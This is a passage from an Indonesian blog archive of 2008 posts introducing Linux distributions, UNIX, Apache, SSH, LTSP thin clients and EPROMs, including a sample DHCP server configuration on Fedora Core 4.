*HAL - HAL (Hardware Abstraction Layer) juga sudah disertakan. Perangkat lunak ini menyediakan API yang seragam untuk aplikasi desktop untuk menggunakan perangkat keras. Hal ini menyebabkan proses mount secara otomatis terhadap disk dan CD menjadi lebih mudah pada Xfce dan KDE.

*X11 7.2.0 - Ini merupakan versi pertam dari Slackware Linux yang menggunakan X secara modular. Hal ini berarti bahwa komponen X11 terpisah-pisah dalam banyak paket-paket kecil untuk perawatan yang lebih mudah serta proses upgrade yang lebih ringan.

*GCC 4.1.2 - Slackware Linux 12.0 menyertakan perangkat pengembangan yang sepenuhnya direvisi berbasis pada GNU Compiler Collection 4.1.2. GCC menyediakan kompiler untuk C, C++, Objective-C, Fortran-77/95, dan Ada 95. Sebagai tambahan, pustaka GNU C versi 2.5 juga sudah digunakan.

*Apache 2.2.4 - Apache diupgrade pada versi major yang baru. Apache 2.x adalah bentuk penulisan ulang yang cukup substansi dari seri 1.3.x.

*K Desktop Environment (KDE) 3.5.7 - Lingkungan KDE yang penuh disertakan, termasuk KOffice, browser web Konqueror, program multimedia, perangkat pengembangan, dan masih banyak aplikasi lain yang berguna.

*Xfce 4.4.1 - Xfce adalah lingkungan desktop yang ringan dan berbasis pada GTK2. Aplikasi ini menerapkan semangat dari UNIX yaitu modularitas dan reusabilitas.

Tentang Linux Slackware

2008-10-16T20:35:00.002+07:00

Slackware Linux adalah sebuah distribusi GNU/Linux, yang dikelola dan dan dikembangkan oleh Patrick Volkerding. Sebuah distribusi adalah koleksi yang koheren dari perangkat lunak yang menyediakan sistem GNU/Linux yang dapat digunakan. Volkerding mulai menggunakan GNU/Linux karena ia memerlukan sebuah interpreter LISP untuk sebuah proyek. Pada masa itu, distribusi GNU/Linux yang dominan adalah Softlanding System Linux (SLS Linux). Slackware Linux dimulai sebagai koleksi pribadi dari hasil patch yang dilakukan oleh Volkerding untuk SLS Linux. Versi Slackware Linux pertama yang tersedia untuk publik adalah rilis 1.0, yang dirilis pada 16 Juli 1993.

Berbeda dengan kebanyakan distribusi GNU/Linux lainnya, Slackware Linux mengacu pada prinsip KISS (Keep It Simple Stupid). Hal ini berarti Slackware Linux tidak memiliki perangkat grafis yang kompleks untuk mengkonfigurasi sistem. Sebagai hasilnya, kurva pembelajaran dari Slackware Linux bisa jadi cukup tinggi untuk pengguna GNU/Linux yang belum berpengalaman, tetapi mampu menyediakan transparansi dan fleksibilitas yang lebih. Selain itu, Anda juga bisa mendapatkan pemahaman yang lebih dalam tentang GNU/Linux dengan distribusi seperti Slackware Linux.

Aspek lain yang membedakan pada Slackware Linux, yang juga “sesuai” dengan prinsip KISS, adalah pengelola paket Slackware Linux. Slackware Linux tidak memiliki manajamen paket yang kompleks seperti RPM atau dpkg. Paket adalah berkas tgz (tar/gzip) normal, seringkali dengan tambahan script installasi dan juga berkas deskripsi. Untuk pengguna awam, tgz jauh lebih handal dibandingkan RPM, dan menghindari masalah ketergantungan. Fitur lain dari Slackware Linux yang cukup dikenal adalah script inisialisasinya. Berbeda dengan kebanyakan distribusi GNU/Linux lainnya, Slackware Linux tidak memiliki sebuah direktori untuk setiap runlevel dengan link simbolik pada layanan yang harus dijalankan atau dihentikan pada runlevel tersebut. Slackware Linux menggunakan pendekatan yang lebih sederhana, dimana Anda bisa mengaktifkan atau menonaktifkan layanan dengan memainkan bit executable dari script inisialisasi.

Paket-paket pada Slackware Linux dikompilasi dengan modifikasi sesedikit mungkin. Hal ini berarti Anda bisa menggunakan sebagian besar dokumentasi GNU/Linux pada umumnya.

Filosofi UNIX

2008-10-16T19:48:00.001+07:00

Karena GNU/Linux adalah implementasi ulang yang bebas dari sistem operasi UNIX, disarankan untuk melihat filosofi yang membuat UNIX banyak digunakan. Doug McIlroy meringkas filosofi UNIX dalam tiga aturan sederhana:

*

Menulis program yang melakukakan satu hal dan melakukannya dengan baik.
*

Menulis program untuk bekerja bersama-sama.
*

Menulis program untuk menangani aliran teks, karena merupakan antarmuka yang universal.

Sangatlah aneh jika Anda tidak berniat untuk menulis program untuk GNU/Linux. Namun, meskipun sebagai pengguna, aturan dasar UNIX ini sangatlah berarti bagi Anda. Setelah Anda mampu mengetahui perintah dasar yang merupakan bagian dari UNIX selama beberapa tahun, Anda akan mampu mengkombinasikan beberapa program sederhana untuk menyelesaikan masalah kompleks. Simpan hal ini dalam pikiran Anda selama Anda mempelajari Slackware Linux; cobalah untuk mendapatkan gambarang tentang bagaimana Anda bisa membagi tugas yang kompleks menjadi operasi sederhana yang dikombinasikan.

Tentang UNIX

2008-10-16T19:32:00.002+07:00

Unix atau UNIX adalah sebuah sistem operasi komputer yang dikembangkan oleh AT&T Bell Labs pada tahun 1960 dan 1970-an. UNIX didesain sebagai sistem operasi yang portable, multi-tasking dan multi-user. BSD adalah salah satu turunan (varian) Unix yang dikembangkan oleh Universitas California, Berkeley.

Pendahuluan
Nama sistem operasi. UNIX berjalan di beragam komputer. Unix disebut Expert Friendly Operating System, karena menyediakan sangat banyak fasilitas yang dapat bekerja sama dan berbagi informasi secara terkendali yang disukai para pakar.

UNIX Merupakan salah satu sistem operasi yang populer untuk server saat ini. UNIX dikembangkan oleh Ken Thompson dan Dennis Ritchie sekitar tahun 1969 di AT&T Bell Laboratories. Pada mulanya sistem ini dikembangkan dalam bahasa assembly. Akan tetapi karena portabilitasnya rendah (sehingga sulit dikembangkan di sistem lain) maka Ritchie mengembangkan bahasa pemrograman baru yang disebut bahasa C (sekitar tahun 1973). Sistem UNIX kemudian berkembang di lingkungan perguruan tinggi dan mulailah muncul variant dari sistem UNIX ini. Varian yang utama adalah UNIX BSD dan UNIX System V.

Sistem operasi Unix digunakan secara luas baik sebagai server atau workstation. Arsitektur Unix dan model client/server merupakan elemen yang paling penting dalam perkembangan internet dan mengubah proses komputasi secara terpusat dalam jaringan dari pada proses tunggal di komputer. Linux, merupakan sistem operasi yang diadopsi dari Unix dan tersedia secara bebas mendapat popularitas sebagai alternatif dari sistem operasi proprietary seperti Microsoft Windows

Sejarah
1960 dan 1970

Pada tahun 1960, Massachusetts Institute of Technology, AT&T Bell Labs, and General Electric bekerja dalam sebuah sistem operasi eksprimental yang disebut Multics (Multiplexed Information and Computing Service).

Aplikasi

Banyak aplikasi-aplikasi dalam sistem operasi lain yang awalnya lahir dalam lingkungan sistem operasi Unix. Salah satu contoh aplikasi yang dimaksud misalnya adalah gnuplot.

Unix Di Indonesia

Di Indonesia Unix digunakan sebagai Server aplikasi, produk yang beredar di pasaran antara lain IBM AIX, HP UX, Sun Solaris. Masing-masing produk ini umumnya memiliki pasar tersendiri seperti Sun Solaris yang digunakan pada operator telekomunikasi selular, HP UX pada manufaktur dan distribusi. Fungsi Unix sebagai workstation kurang populer mengingat harganya yang mahal.

Tentang Red Hat linux

2008-10-16T19:04:00.002+07:00

Red Hat (NASDAQ: RHAT) adalah salah satu perusahaan terbesar dan dikenal untuk dedikasinya atas perangkat lunak sumber bebas. Red Hat didirikan pada 1993 dan bermarkas di Raleigh, North Carolina, Amerika Serikat. Red Hat terkenal karena produknya Red Hat Linux salah satu distro Linux utama.

Red Hat merupakan distro linux yang populer (paling tidak di Indonesia). Dengan kemudahan fitur yang ada menjadikan Red Hat sanggup menggantikan windows. Disisi lain, banyak pengguna komputer yang enggan meninggalkan windows seratus persen. Solusi cerdas untuk kasus ini adalah menggunakan dua sistem operasi sekaligus, windows dan linux. Namun bukan perkara mudah (setidaknya itu yang penulis alami beberapa waktu lalu) untuk menginstal linux disamping windows yang dengan manisnya telah menempati space di hardisk. Masalah paling umum terjadi pada pembagian partisi. Walau banyak software pembagi partisi -katakanlah Partition Magic- yang populer, namun penulis merasa perlu menulis tutorial ini, sebagai panduan bagi yang ingin beralih ke linux.

RedHat 9.0 dirilis pada 31 Maret 2003, informasi dan documentasi lengkap Linux RedHat dapat di peroleh dari situs resmi RedHat, http://www.redhat.com

Satu hal yang tak boleh di tinggalkan, bahwa seluruh screnshot yang ada dalam tutorial ini penulis ambil dari documentasi resmi Red Hat (http://www.redhat.com/docs/manuals/linux/) .

Linux Fedora 9

2008-10-16T14:58:00.003+07:00

Proyek Fedora yang disponsori pemasok sistem operasi Linux skala perusahan Red Hat (NYSE: RHT), dengan dukungan komunitas sumber terbuka, selasa 13 Mai 2008 mengumumkan ketersediaan generasi baru Fedora versi 9. Fedora 9 dengan nama kode 'sulphur' dibangun guna meneruskan sebuah tradisi yang menawarkan inovasi dan mengemas fitur-fitur cutting-edge terkini.

Diantara banyak fitur-fitur yang disertakan, antara lain bahwa Fedora 9 merupakan distro pertama yang memiliki fitur non-destructive live USB with persistence, dan yang sepenuhnya melengkapi dengan lingkungan desktop KDE 4 edisi terklini. Fitur lainnya adalah perbaikan dan peningkatan terhadap OpenJDK, GNOME 2.22, NetworkManager, PackageKit, the Anaconda installer dan Firefox 3 Beta 5.

Non-destructive live USB
Dengan fitur non-destructive live USB, image Live Fedora 9 kini dapat dipindahkan atau ditambahkan ke sebuah existing USB key yang biasanya digunakan untuk menyimpan aplikasi Linux atau Windows, tanpa perlu mengosongkan data tersimpan maupun membuat partisi baru atau reformat USB key yang digunakan. Alhasil adalah sebuah bootable dan portable Fedora system. Dengan persistence feature, pengguna dapat mengunduh dan menyimpan data, menambahkan software baru seperti sebuah sistem pada Fedora lainnya.

Tentang Linux Fedora

2008-10-16T14:40:00.003+07:00

Fedora adalah sistem operasi berbasis Linux yang menampilkan perkembangan terakhir dalam perangkat lunak bebas dan terbuka. Fedora selalu bebas untuk siapa pun untuk menggunakan, merubah, dan menyebarkan. Fedora dibangun oleh banyak orang di seluruh penjuru dunia yang bekerja sama dalam komunitas: Proyek Fedora. Proyek Fedora terbuka dan semua orang boleh bergabung.

Proyek Fedora jauh di depan Anda, memimpin perkembangan isi dan perangkat lunak bebas dan terbuka.

Fedora (sebelumnya bernama Fedora Core, terkadang disebut juga dengan Fedora Linux) adalah sebuah distro Linux berbasis RPM dan yum yang dikembangkan oleh Fedora Project yang didukung oleh komunitas pemrogram serta disponsori oleh Red Hat. Nama Fedora berasal dari karakter fedora yang digunakan di logo Red Hat. Pada rilis 1 sampai 6 distro ini bernama Fedora Core yang kemudian berubah menjadi Fedora pada rilis ke-7.

Tentang Fedora

Apa itu Fedora ? Proyek Fedora adalah kumpulan proyek yang disponsori oleh Red Hat (http://redhat.com) dan dikembangkan sebagai kerjasama antara komunitas open source dan teknisi Red Hat. Tujuan dari Fedora adalah perkembangan software dan konten yang gratis yang cepat, forum umum, proses yang terbuka, inovasi yang cepat, pemanfaatan, dan transparansi. Semuanya dalam langkah untuk menjadi sistem operasi dan platform terbaik yang bebas.

Sistem operasinya bernama Fedora. Versi terbaru Fedora dirilis dua kali setahun. Fedora bisa didapatkan dengan gratis dan akan tetap seperti itu. Fedora merupakan kombinasi terbaik dari software yang terpercaya dan paling baru yang pernah ada dalam dunia software bebas.

Pokok pemikirannya adalah melakukan apa yang benar. Hal ini dapat diartikan sebagai memberikan software dan konten yang bebas dan terbuka, tanpa biaya, bisa digunakan secara bebas, bisa dimodifikasi, bisa didistribusikan ulang, dan tidak membebani dengan hak paten dari software.

HTTP Server

2008-10-15T20:42:00.001+07:00

Server HTTP Apache atau Server Web/WWW Apache adalah server web yang dapat dijalankan di banyak sistem operasi (Unix, BSD, Linux, Microsoft Windows dan Novell Netware serta platform lainnya) yang berguna untuk melayani dan memfungsikan situs web. Protokol yang digunakan untuk melayani fasilitas web/www ini mengunakan HTTP.

Apache memiliki fitur-fitur canggih seperti pesan kesalahan yang dapat dikonfigur, autentikasi berbasis basis data dan lain-lain. Apache juga didukung oleh sejumlah antarmuka pengguna berbasis grafik (GUI) yang memungkinkan penanganan server menjadi mudah.

Apache merupakan perangkat lunak sumber terbuka dikembangkan oleh komunitas terbuka yang terdiri dari pengembang-pengembang dibawah naungan Apache Software Foundation.

Sejarah

Pada awal mulanya, Apache merupakan perangkat lunak sumber terbuka yang menjadi alternatif dari server web Netscape (sekarang dikenal sebagai Sun Java System Web Server). Sejak April 1996 Apache menjadi server web terpopuler di internet. Pada Mei 1999, Apache digunakan di 57% dari semua web server di dunia. Pada November 2005 persentase ini naik menjadi 71%. (sumber: Netcraft Web Server Survey, November 2005).

Asal mula nama Apache berasal ketika sebuah server web populer yang dikembangkan pada awal 1995 yang bernama NCSA HTTPd 1.3 memiliki sejumlah perubahan besar terhadap kode sumbernya (patch). Saking banyaknya patch pada perangkat lunak tersebut sehingga disebut sebuah server yang memiliki banyak patch ("a patchy" server). Tetapi pada halaman FAQ situs web resminya, disebutkan bahwa "Apache" dipilih untuk menghormati suku asli Indian Amerika Apache (Indé), yang dikenal karena keahlian dan strategi perangnya. Versi 2 dari Apache ditulis dari awal tanpa mengandung kode sumber dari NCSA.

Penggunaan

Apache adalah komponen server web dari paket perangkat lunak LAMP (Linux, Apache, MySQL, PHP/Perl/bahasa pemrograman Python).

Kompetitor

Menurut statistik dari Netcraft, Apache merupakan server web yang paling banyak digunakan di dunia per 2005 [1]. Microsoft Internet Information Services (IIS) merupakan kompetitor utama Apache, diikuti oleh Sun Java Web Server dari Sun Microsystem.

Apa itu EPROM??

2008-10-15T20:14:00.004+07:00

EPROM adalah memori hanya baca dan dapat diprogram serta dihapus. Jenis EPROM yang paling populer adalah jenis ultraviolet atau EPROM UV. Setelah diprogram secara listrik, memori dapat dihapus dengan cara pencahayaan sinar UV berintensitas tinggi.
Pada EPROM UV terdapat jendela quartz yang memungkinkan cahaya UV mengenai chip pada saat penghapusan. Jendela ini umumnya ditutupi oleh lapisan tak tembus cahaya untuk mencegah penghapusan yang tidak disengaja oleh sumber UV yang biasanya hanya memiliki pengaruh kecil pada EPROM UV, tetapi jika pencahayaan lampu fluorescent atau cahaya matahari mengenai chip dalam jangka panjang maka akan dapat menyebabkan hilang atau rusaknya data didalamnya. Model EPROM yang terkenal adalah seri 27xxx yang diproduksi oleh pabrik seperti Intel, Advanded Mikro Devices, dan Fujitsu Mikroelectronic Inc. Penjelasan mengenai beberapa model 27xxx dapat dilihat dalam tabel 2-1. Semuanya tersusun dengan keluaran 8 bit.

Tabel 1. Jenis EPROM dan kemampuan bitnya Sebagai contoh IC EPROM 27C256 mempunyai 14 pin alamat A0-A13 dan dapat menghasilkan 264144 bit (214) kemungkinan dalam memori. EPROM 27C256 menggunakan catu daya 5 volt DC dan dapat dihapus dengan sinar UV. Masukkan chip enable (E) diaktifkan low. Pin output enable mempunyai fungsi ganda, yaitu pertama waktu proses membaca dan kedua selama proses menulis. Pin keluaran pada EPROM 27C256 ditulis Q0 – Q7. Ketika EPROM 27C256 dihapus maka semua sel memori kembali pada posisi logika 1. Data dihasilkan oleh perubahan sel memori yang telah terpilih ke 0. [1](SGS- Thomson Microelectronik, maret 1995)

Gambar 1. Konfigurasi EPROM M27C256 Keterangan

Apa itu LTSP???

2008-10-15T19:54:00.000+07:00

LTSP adalah paket add-on dari linux yang memungkinkan banyak user bekerja pada sebuah komputer. Seluruh aplikasi berjalan pada server dan terminal hanya menangani input dan output. Thin Client atau thinstation yang juga dikenal dengan X- terminal.

Teknologi ini populer di lingkungan sekolah yang memiliki keterbatasan dana dalam pengembangan lab komputernya. Peningkatan performa serta fitur dilakukan hanya pada server sehingga dapat menekan biaya investasi jangka panjang. Disamping itu sistem yang terpusat telah mengurangi beban pemeliharaan dan penanganan masalah (error handling), sehingga tenaga EDP dapat lebih berkonsentrasi pada pengembangan fitur.

Beberapa contoh dari distro yg mengadopsi LTSP misalnya K12LTSP, Skolinux, Abuledu, Edubuntu, The Cutter Project dan Deworks. Proyek ini di danai oleh Jm McQuilen.

Cara kerja

Pada saat komputer client melakukan booting dari loca device (harddisk, CD-ROM, USB, Floppy, Lancard) ia memuat kernel Linux serta melakukan inisasi terhadap peralatan di PC Client.

Saat kernel melakukan mengkonfigurasikan perangkat jaringan (dengan mekanisme Etherboot, Preboot Execution Environment (PXE) atau NetBoot) client merequest IP Address dari LTSP Server melalui protokol DHCP (server). Kemudian memuat Linux kernel dari preconfigured Linux Image (misal net.nbi atau vmlinuz.0) menggunakan protokol TFTP (Trivial File Transfer Protokol) yang telah berjalan pada services LTSP Server. Kemudian server menentukan path dari linkungan untuk chroot setiap client. Ini dilakukan oleh protokol NFS (Network File System). Lalu client melakukan mounts (pengenalan dan penerapann) path dari root-nya itu.

Setelah itu Client memanggil paket-paket linux dan pada akirnya memulai memanggil interface grafik ( x windowing system)sehingga ia terkoneksi ke login manager (XDMCP) dari ltsp server.

Pada LTSP 5 client melakukan client terlebih dahulu membangun saluran SSH (Secure Shell tunnel) ke LTSP Server yang kemudian memullai LDM login manager.

Mulai dari sini dan untuk selanjutnya, semua program-program berjalan pata LTSP Server tetapi ditampilkan serta dijalankan dari client.

Table:Perbedaan antara LTSP 4 and 5 LTSP Display Manager (LDM)
Deskripsi LTSP 4 LTSP 5 (MueKow)

GUI Export

XDMCP

ssh -X

Remote login/X display manager

KDM/GDM

Display Manager (LDM)

Distribution method

LTSP tarball

Native distribution

Authenticating server

XDMCP server

SSH server

Pemahaman konsep kerja LTSP menurut penulis lebih penting dari prosedur instalasi karena berdasarkan pengalaman sendiri serta tulisan-tulisan pada blog lain mengenai LTSP, proses instalasi relatif sederhana. Salain itu sebagai sebuah teknologi yg masih dalam tahap pengembangan awal, harus diakui LTSP masih miliki banyak kelemahan. Di sisi lain, solusi ini menjanjikan masa depan yang cerah, mengingat potensi-potensi pengembangan ke depan seperti teknologi load balance, paket-paket pendukung yng mulai tumbuh subur serta capaian yang sudah di lakukan hingga hari ini.

Pengertian SSH (Secure Shell Hosting)

2008-10-15T19:46:00.001+07:00

SSH adalah aplikasi pengganti remote login seperti telnet, rsh, dan rlogin, yang jauh lebih aman. Dikembangkan pertamakali oleh OpenBSD project dan kemudian versi rilis p (port) di-manage oleh team porting ke sistem operasi lainnya, termasuk sistem operasi Linux. Fungsi utama aplikasi ini adalah untuk mengakses mesin secara remote. Bentuk akses remote yang bisa diperoleh adalah akses pada mode teks maupun mode grafis/X apabila konfigurasinya mengijinkan. scp yang merupakan anggota keluarga ssh adalah aplikasi pengganti rcp yang aman, keluarga lainnya adalah sftp yang dapat digunakan sebagai pengganti ftp.

Dengan SSH, semua percakapan antara server dan klien di-enkripsi. Artinya, apabila percakapan tersebut disadap, penyadap tidak mungkin memahami isinya. Bayangkan seandainya Anda sedang melakukan maintenance server dari jauh, tentunya dengan account yang punya hak khusus, tanpa setahu Anda, account dan password tersebut disadap orang lain, kemudian server Anda diobrak-abrik setelahnya.

Lebih jauh lagi, SSH memungkinkan kita mengamankan koneksi dari pembajakan (Anda sedang terhubung sebagai root ke server, tiba-tiba di tengah jalan ada sabotase, yang tanpa perlu tahu username maupun password Anda bisa langsung melanjutkan sesi Anda yang sedang aktif, dan tentu saja dengan hak sebagai root).

Implementasi SSH yang banyak dipakai saat ini adalah OpenSSH http://www.openssh.org/. Aplikasi ini telah di-port ke berbagai distro Linux. Tinggal diinstall saja tanpa Anda harus compile dari source.

Bila memungkinkan, anda dianjurkan untuk menggunakan protocol versi 2 (dua) dari SSH. Karena SSH2 menyediakan mekanisme enkripsi yang lebih baik sehingga setiap sesi remote login anda lebih terjaga kerahasiannya.

Pengertian dari Dumb Terminal,Dumb Server dan Dumb Device

2008-10-15T19:40:00.002+07:00

Dumb Terminal:
Merupakan suatu terminal atau alat komputer yang digunakan oleh manusia yang hanya terdiri dari monitor dan keyboard. Komputer yang hanya dapat menampilkan apa yang dapat diterima dan tidak dapat melakukan pemrosesan lain. Terminal ini sepenuhnya bergantung pada komputer utama untuk pemrosesannya. Istilah ini juga dipakai untuk menyebut beberapa mainframe dan terminal minicomputer, karena sejumlah kemampuan built-in screen display yang dimilikinya.

Dumb Server:
Suatu server, dimana klien-klien yang dilayaninya, tidak mempunyai program aplikasi sendiri. Jadi seluruh program aplikasi yang dibutuhkan dan aktivitas-aktivitas klien dilakukan melalui server ini.

Dumb device:
Suatu perangkat yang pekerjaannya dikontrol oleh perangkat lain. Misalnya printer, sound card, dsb.

Mengkonfigurasi DHCP Server

2008-10-15T19:26:00.000+07:00

DHCP atau Dynamic Host Configuration Protocol, merupakan salah satu mekanisme pemberian IP pada komputer host atau client secara otomatis. Mekanismenya adalah menggantikan peran administrator jaringan dalam, terutama saat memasukkan IP Address di setiap komputer Client.

Prinsip kerjasanya kurang lebih adalah sebagai berikut, pada saat Server DHCP aktif, maka server DHCP menyediakan range IP pada kelas tertentu, sesuai dengan aturan yang ditetapkan oleh admin. Kemudian, pada saat komputer client yang terhubung ke jaringan aktif, sistem operasi akan mencari ke DHCP server, apakah ada IP yang bisa direservasi. Jika ada, maka Server DHCP akan memberikan IPtersebut.

Pada DHCP, lama waktu IP yang diberikan pada setiap komputer bisa dibuat dinamis, artinya setelah pada waktu tertentu, maka IP yang ada pada komputer client akan habis masa penggunaannya. Ini disebut lease IP. Ada juga yang sifatnya, IP tersebut tetap berada di komputer client, selama kartu jaringannya tidak rusak tentunya.

Berikut adalah konfigurasi DHCP server di linux. Distro yang digunakan adalah Fedora Core 4. Untuk mengkonfigurasinya, dibutuhkan priveledge tertinggi, yaitu root.

#rpm -qa | grep dhcp
dhcpv6_client-0.10-13
dhcp-3.0.2-12
setelah terinstall, DHCP server memberikan contoh konfigurasi dhcpd.conf, filenya dapat kita liat dan kopi di /usr/share/doc/dhcp-3.0.2/dhcpd.conf.sample
berikut adalah contoh script dhcpd.conf:

ddns-update-style interim;
ignore client-updates;
#definisi subnet
subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name”jakarta”;
option domain-name-servers 192.168.1.3;

# ini buat tamu , jadi mereka tinggal colok kabel aja
range dynamic-bootp 192.168.1.30 192.168.1.35;
default-lease-time 21600;
max-lease-time 43200;

# yang ini buat komputer-komputer yang ada di kantor, jadi walaupun di pindah-pindah IP nya tetep

#=====================================
#Host Team Alpha
#=====================================
#1. komputer nanang

host nanang {
hardware ethernet 00:02:a5:2f:c5:5b;
fixed-address 192.168.1.6;
}

#2. komputer wildan

host wildan {
hardware ethernet 00:e0:4c:d3:66:7e;
fixed-address 192.168.1.7;
}

#3. komputer syaiful

host syaiful {
hardware ethernet 20:04:12:30:31:7A;
fixed-address 192.168.1.8;
}

#4. komputer gian

host gian {
hardware ethernet 00:50:8b:fe:f5:50;
fixed-address 192.168.1.9;}

#5 komputer hikmat

host hikmat {
hardware ethernet 00:11:2f:c7:e0:b1;
fixed-address 192.168.1.10;
}

#6 komputer ismail

host ismail {
hardware ethernet 00:14:2a:04:d9:d1;
fixed-address 192.168.1.11;
}

#7

host agunglaptop {
hardware ethernet 00:0a:e4:03:3f:ae;
fixed-address 192.168.1.12;
}

#8

host it-engineer {
hardware ethernet 00:e0:4c:e0:1e:88;
fixed-address 192.168.1.13;
}

#9

host sapuademo {
hardware ethernet 00:0a:e4:12:c7:60;
fixed-address 192.168.1.14;
}

#10

host marketing {
hardware ethernet 00:c0:9f:c4:60:12;
fixed-address 192.168.1.15;
}

#11

host agung-laptop {
hardware ethernet 00:04:23:7d:f7:8b;
fixed-address 192.168.1.20;
}

#12

host marketing-laptop {
hardware ethernet 00:14:a4:27:7d:a1;
fixed-address 192.168.1.21;
}

#13

host pipit-laptop {
hardware ethernet 00:17:42:03:f3:f6;
fixed-address 192.168.1.22;
}

# alokasi IP address untuk server/ perangkat sapua
#13 Wireless Lan IP

host sapua {
hardware ethernet 00:90:4c:91:00:01;
fixed-address 192.168.1.2;
}

#14 Server dummy sapua

host server.sapua {
hardware ethernet 00:E0:4C:44:D4:56;
fixed-address 192.168.1.3;
}

}

nah setelah konfigurasi selesai, aktifkan daemon dhcp
# /etc/init.d/dhcpd start
Memulai dhcpd: [ OK ]

Untuk Melihat, apakah konfigurasi kita berjasil atau tidak, dhcpd mencatat list client yang mendapat reservasi IP dari server, filenya bisa kita lihat di :
/var/lib/dhcp/dhcpd.leases
berikut contoh isi filenya :
[root@b6-uninet-personal-106-142 ~]# more /var/lib/dhcp/dhcpd.leases
# All times in this file are in UTC (GMT), not your local timezone. This is
# not a bug, so please don’t ask about it. There is no portable way to
# store leases in the local timezone, so please don’t request this as a
# feature. If this is inconvenient or confusing to you, we sincerely
# apologize. Seriously, though - don’t ask.
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-V3.0.2

lease 192.168.1.31 {
starts 1 2006/09/11 09:05:21;
ends 1 2006/09/11 15:05:21;
tstp 1 2006/09/11 15:05:21;
binding state free;
hardware ethernet 00:0d:5e:22:2b:1f;
uid “010015^\”+37″;
}
lease 192.168.1.34 {
starts 2 2006/09/12 02:40:22;
ends 2 2006/09/12 08:40:22;
tstp 2 2006/09/12 08:40:22;
binding state active;
next binding state free;
hardware ethernet 00:00:00:00:00:00;
uid “01000000000000″;
client-hostname “marketing”;
}

Membangun Jaringan Tanpa Harddisk di Linux

2008-10-15T19:25:00.000+07:00

Pada saat terminal/client/terminal/client melakukan proses booting, garis besar proses yang dijalankan adalah:

1. Mencari alamat ip dari dhcp server.
2. Mengambil kernel dari tftp server.
3. Menjalankan sistem file root dari nfs server.
4. Mengambil program X-server ke dalam memory dan mulai menjalankannya.
5. Melakukan hubungan dengan xdm server dan user login ke dalam xdm server.

Dalam contoh kasus diatas, dhcp server, tftp server, nfs server dan xdm server berada dalam satu mesin komputer atau disebut server. Pada saat komputer terminal/client selesai melakukan proses booting dan user login ke dalam server, beberapa program aplikasi akan berjalan didalam server tetapi output / tampilan akan berada pada komputer terminal/client. Ini adalah teori dasar dari x-windows ltsp. Komputer terminal/client hanya berjalan pada linux kernel, Xfree86, Init dan print server daemon untuk melakukan pencetakan ke dalam lokal printer. Karena progaram ini adalah sangat kecil agar dapat dijalankan pada komputer` terminal/client maka kita dapat melakukan penghematan daya listrik dengan memakai power yang rendah dan dapat dijalankan dengan menggunakan komputer 486 16mb untuk ram dengan tampilan x window terminal/client (tanpa harddisk).

Bila kita menggunakan beberapa komputer terminal/client dengan satu server permasalahan yang timbul jika komputer terminal/client akan berjalan, komputer terminal/client akan butuh untuk menulis beberapa files ke dalam server, dan juga komputer terminal/client membutuhkan untuk menghubungkan beberapa sistem file root. Jika mempunyai 50 komputer terminal/client kita membutuhkan 50 bagian direktori yang harus diexported. Ini adalah salah satu kenyataan dan tantangan yang harus di coba untuk ditangani.

Garis besarnya, tutorial singkat ini akan memberikan contoh konfigurasi file dan program yang dibutuhkan agar komputer terminal/client dapat berjalan pada saat di booting. Beberapa komputer terminal/client mempunyai spesifikasi perangkat keras yang berbeda. Seperti lan card, vga card dan type dari mo use yang dapat di konfigurasi secara default atau bagian lain untuk beberapa komputer terminal/client.

DHCP Server

2008-10-15T19:24:00.000+07:00

DHCP Server dengan Linux

DHCP Server adalah sebuah mesin yang melayani permintaan alamat IP maupun konfigurasi jaringan secara dinamis program ini dibuat oleh Ted Lemon yang bekerja untuk Vixie Labs, dengan DHCP Server ini anda tidak perlu lagi untuk mengkonfigurasikan jaringan pada sisi client, anda cukup mengkonfigurasikan DHCP Server anda maka konfigurasi alamat ip, gateway bahkan nameserver pada sisi client tidak perlu dilakukan lagi.

Layanan ini bisa juga diberikan kepada suatu komputer dengan kriteria tertentu, misalnya saja berdasarkan alamat MAC Address Network Card ataupun berdasarkan hostnamenya. Untuk dapat menggunakan DHCP Server maka anda harus mempunyai program yang dapat meminta layanan DHCP Server ini salah satunya adalah dhclient yang juga dibuat oleh Ted Lemon. Dalam tulisan ini akan dibahas bagaimana cara menginstall paket DHCP Server dan bagaimana cara mengkonfigurasikannya serta bagaimana cara menggunakan paket DHClient untuk meminta konfigurasi Jaringan pada DHCP Server

Apa itu Novell Netware???

2008-10-15T18:35:00.003+07:00

Novell Salah satu perusahaan perangkat lunak yang sempat memimpin sistem operasi jaringan (NOS). Perusahaan ini bernama Novel, Inc. yang menjual NetWare, yang merupakan NOS yang cukup banyak digunakan di dunia.

Network Operation System (NOS) yang diproduksi oleh Novell.Sistem operasi jaringan (Inggris: network operating system) adalah sebuah jenis sistem operasi yang ditujukan untuk menangani jaringan. Umumnya, sistem operasi ini terdiri atas banyak layanan atau service yang ditujukan untuk melayani pengguna, seperti layanan berbagi berkas, layanan berbagi alat pencetak (printer), DNS Service, HTTP Service, dan lain sebagainya. Istilah ini populer pada akhir dekade 1980-an hingga awal dekade 1990-an.

Beberapa sistem operasi jaringan yang umum dijumpai adalah sebagai berikut:

* Microsoft MS-NET
* Microsoft LAN Manager
* Novell NetWare
* Microsoft Windows NT Server
* GNU/Linux
* Banyan VINES
* Beberapa varian UNIX, seperti SCO OpenServer, Novell UnixWare, atau Solaris

Novell NetWare adalah sebuah sistem operasi jaringan yang umum digunakan dalam komputer IBM PC atau kompatibelnya. Sistem operasi ini dikembangkan oleh Novell, dan dibuat berbasiskan tumpukan protokol jaringan Xerox XNS.

NetWare telah digantkan oleh Open Enterprise Server (OES). Versi terakhir dari NetWare hingga April 2007 adalah versi 6.5 Support Pack 6, yang identik dengan OES-NetWare Kernel, Support Pack 2.

Pengertian,Cara Kerja dan Spesifikasi pada LTSP (Linux Terminal Server Project)

2008-10-15T18:33:00.001+07:00

Pengertian:

• LTSP adalah paket add-on dari linux yang memungkinkan banyak user bekerja pada sebuah komputer. Seluruh aplikasi berjalan pada server dan terminal hanya menangani input dan output. Thin Client atau thinstation yang juga dikenal dengan X- terminal.

Cara Kerja:

• Pada saat komputer client melakukan booting dari loca device (harddisk, CD-ROM, USB, Floppy, Lancard) ia memuat kernel Linux serta melakukan inisasi terhadap peralatan di PC Client.
